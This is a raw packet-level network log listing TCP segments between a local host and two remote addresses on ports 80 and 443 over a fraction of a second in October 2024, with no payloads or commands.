Oct 18, 2024 23:46:35.797463894 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.797473907 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.797480106 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.800271034 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.800332069 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.800564051 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.800730944 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.800760984 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.806670904 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.806816101 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.806879044 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.806934118 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.806952000 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.806979895 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.806993961 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.809048891 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.809092999 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.809231043 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.809371948 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.809392929 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.816019058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816035986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816046000 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816082001 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.816116095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816126108 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816134930 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816144943 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816154003 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816162109 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.816191912 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.816509008 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816519976 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816529036 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816539049 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816554070 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816557884 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.816566944 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816574097 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.816615105 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.816790104 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816837072 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816847086 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816855907 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816880941 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.816895008 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816899061 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.816906929 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816922903 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816931009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.816948891 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.816967010 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.816998959 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.817024946 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.817034006 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.817068100 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.817564964 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.817574024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.817615032 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.822851896 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.822911024 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.822932005 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.822942019 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.822995901 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.823067904 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823077917 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823087931 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823098898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823115110 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.823139906 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.823190928 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823309898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823318958 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823343992 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.823370934 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823381901 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823396921 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823407888 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823409081 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.823435068 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.823631048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823640108 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823648930 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.823673964 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.823697090 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.826769114 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.826901913 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.826971054 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.827044010 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.827075005 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.829386950 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.829406977 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.829463005 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.829612970 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.829626083 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.830135107 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.830286026 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.830385923 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.830425024 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.830445051 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.830456972 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.830463886 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.832674980 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.832760096 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.832833052 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.832984924 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.833017111 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.867016077 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.867026091 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.867038012 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.867047071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.867065907 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.867078066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.867090940 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.867113113 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.867129087 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.869748116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.869795084 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.870157003 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.870167017 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.870212078 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.870222092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.870265007 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.870285034 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.870295048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.870305061 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.870316029 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.870330095 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.870352030 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.870726109 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904408932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904426098 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904434919 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904444933 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904454947 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904463053 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.904479027 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.904510975 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.904577971 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904588938 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904598951 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904612064 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904632092 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.904645920 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.904716015 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904788971 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904843092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904853106 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904863119 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.904891968 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.904920101 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.905145884 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.905220985 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.905261993 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.905438900 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.905503035 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.905513048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.905527115 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.905540943 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.905550957 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.905580044 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.905956984 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.905973911 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.905982971 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.906030893 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.935699940 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935715914 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935725927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935734987 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935744047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935753107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935769081 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935770988 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.935779095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935791016 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935801029 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935811043 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935817003 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.935822010 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935833931 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935839891 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.935842991 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.935859919 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.935875893 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.936109066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.936160088 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.936170101 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.936180115 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.936197042 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.936213970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.936220884 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.936225891 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.936252117 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.936567068 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.936636925 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.936649084 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.936665058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.936683893 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.936712980 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.943593979 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943660021 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943667889 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943674088 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943684101 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943694115 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943730116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943731070 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.943774939 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.943803072 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943831921 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943841934 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943852901 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943861961 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943872929 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943882942 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943890095 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.943893909 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.943918943 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.943933964 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.944511890 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.944523096 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.944533110 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.944542885 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.944554090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.944576025 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.944607019 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.989536047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.989550114 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.989559889 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.989588022 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.989628077 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.989639044 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.989737034 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.989747047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.989785910 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.989849091 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.989886045 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.990701914 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.990829945 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.990844965 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.990889072 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.990974903 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.990986109 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.990995884 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.991009951 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.991020918 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.991023064 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.991031885 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.991038084 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.991044044 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.991067886 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.991092920 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.023884058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.023895979 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.023919106 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.023929119 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.023940086 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.023945093 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.023951054 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.023986101 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.024009943 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.024039030 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.024049997 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.024059057 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.024072886 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.024081945 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.024122953 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.024267912 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.024279118 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.024287939 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.024296999 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.024313927 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.024339914 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.025228977 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.025268078 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.025279045 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.025326014 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.025367022 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.025377989 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.025388956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.025398016 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.025408030 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.025415897 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.025440931 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.025461912 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.025648117 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.025656939 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.025666952 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.025701046 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.025732994 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.025770903 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.055461884 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.055473089 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.055483103 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.055515051 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.055541992 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.055552959 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.055558920 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.055603981 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.055675030 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.055753946 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.055763006 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.055804968 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.055814028 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.055824995 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.055833101 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.055860996 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.055871010 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.056041002 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.056051016 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.056060076 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.056096077 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.056123018 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.056133986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.056143045 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.056184053 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.056466103 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.056476116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.056484938 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.056512117 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.056566954 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.056576967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.056586027 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.056612015 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.056637049 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.057220936 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.057231903 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.057240963 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.057270050 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.062556028 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.062566996 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.062576056 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.062618971 CEST	49795	80	192.168.2.5	104.192.108.20
